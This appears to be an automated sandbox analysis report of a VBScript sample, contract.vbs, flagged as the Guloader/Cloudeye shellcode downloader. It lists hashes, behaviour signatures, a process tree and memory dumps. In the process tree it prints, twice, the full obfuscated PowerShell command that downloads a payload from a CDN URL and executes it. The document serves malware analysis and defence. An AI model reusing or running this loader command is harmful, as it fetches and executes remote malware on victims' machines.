Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/08/2023, 10:05

General

  • Target

    contract.vbs

  • Size

    16KB

  • MD5

    bc802313367fa8e3e95a8febaac30eef

  • SHA1

    fae8073b8bb36c8112c980f77af462589791457a

  • SHA256

    d1e6ce0bb1b6370887610365325b052b2be95fb20f160f7bed6d28f16f93e7d8

  • SHA512

    c385a20ebac46bbbe2f3c95bdaf77a5f5fda682c1ab2ca56b8de7a444df7a94229a2295acbee2d71d5363d3677ed005a9c4a66b58377d2b267e487dc5564449f

  • SSDEEP

    384:cMerh4avZ9DMwRXR59o8FvsWIa/+BSH4//eeXoOj:cvrh4gD37Bds0XHreZj

Score
10/10

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 2600
          4⤵
          • Program crash
          PID:1708
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1228 -ip 1228
    1⤵
      PID:3640

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gplydkeo.1eu.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1152-142-0x000001735BA40000-0x000001735BA62000-memory.dmp

            Filesize

            136KB

          • memory/1152-147-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp

            Filesize

            10.8MB

          • memory/1152-149-0x000001735BAB0000-0x000001735BAC0000-memory.dmp

            Filesize

            64KB

          • memory/1152-148-0x000001735BAB0000-0x000001735BAC0000-memory.dmp

            Filesize

            64KB

          • memory/1152-190-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp

            Filesize

            10.8MB

          • memory/1152-177-0x000001735BAB0000-0x000001735BAC0000-memory.dmp

            Filesize

            64KB

          • memory/1152-176-0x000001735BAB0000-0x000001735BAC0000-memory.dmp

            Filesize

            64KB

          • memory/1152-174-0x000001735BAB0000-0x000001735BAC0000-memory.dmp

            Filesize

            64KB

          • memory/1152-171-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp

            Filesize

            10.8MB

          • memory/1228-170-0x0000000006AE0000-0x0000000006AFA000-memory.dmp

            Filesize

            104KB

          • memory/1228-153-0x0000000005130000-0x0000000005140000-memory.dmp

            Filesize

            64KB

          • memory/1228-157-0x0000000005E10000-0x0000000005E76000-memory.dmp

            Filesize

            408KB

          • memory/1228-167-0x0000000006540000-0x000000000655E000-memory.dmp

            Filesize

            120KB

          • memory/1228-168-0x0000000005130000-0x0000000005140000-memory.dmp

            Filesize

            64KB

          • memory/1228-169-0x0000000007D80000-0x00000000083FA000-memory.dmp

            Filesize

            6.5MB

          • memory/1228-155-0x0000000005550000-0x0000000005572000-memory.dmp

            Filesize

            136KB

          • memory/1228-154-0x0000000005770000-0x0000000005D98000-memory.dmp

            Filesize

            6.2MB

          • memory/1228-172-0x00000000077E0000-0x0000000007876000-memory.dmp

            Filesize

            600KB

          • memory/1228-173-0x0000000007700000-0x0000000007722000-memory.dmp

            Filesize

            136KB

          • memory/1228-175-0x00000000089B0000-0x0000000008F54000-memory.dmp

            Filesize

            5.6MB

          • memory/1228-156-0x00000000056F0000-0x0000000005756000-memory.dmp

            Filesize

            408KB

          • memory/1228-152-0x0000000005130000-0x0000000005140000-memory.dmp

            Filesize

            64KB

          • memory/1228-151-0x0000000004F90000-0x0000000004FC6000-memory.dmp

            Filesize

            216KB

          • memory/1228-178-0x0000000007B80000-0x0000000007B94000-memory.dmp

            Filesize

            80KB

          • memory/1228-179-0x00000000746D0000-0x0000000074E80000-memory.dmp

            Filesize

            7.7MB

          • memory/1228-180-0x0000000005130000-0x0000000005140000-memory.dmp

            Filesize

            64KB

          • memory/1228-181-0x0000000005130000-0x0000000005140000-memory.dmp

            Filesize

            64KB

          • memory/1228-183-0x0000000007BC0000-0x0000000007BC1000-memory.dmp

            Filesize

            4KB

          • memory/1228-184-0x0000000008F60000-0x000000000C209000-memory.dmp

            Filesize

            50.7MB

          • memory/1228-185-0x0000000008F60000-0x000000000C209000-memory.dmp

            Filesize

            50.7MB

          • memory/1228-186-0x00000000746D0000-0x0000000074E80000-memory.dmp

            Filesize

            7.7MB

          • memory/1228-187-0x0000000008F60000-0x000000000C209000-memory.dmp

            Filesize

            50.7MB

          • memory/1228-150-0x00000000746D0000-0x0000000074E80000-memory.dmp

            Filesize

            7.7MB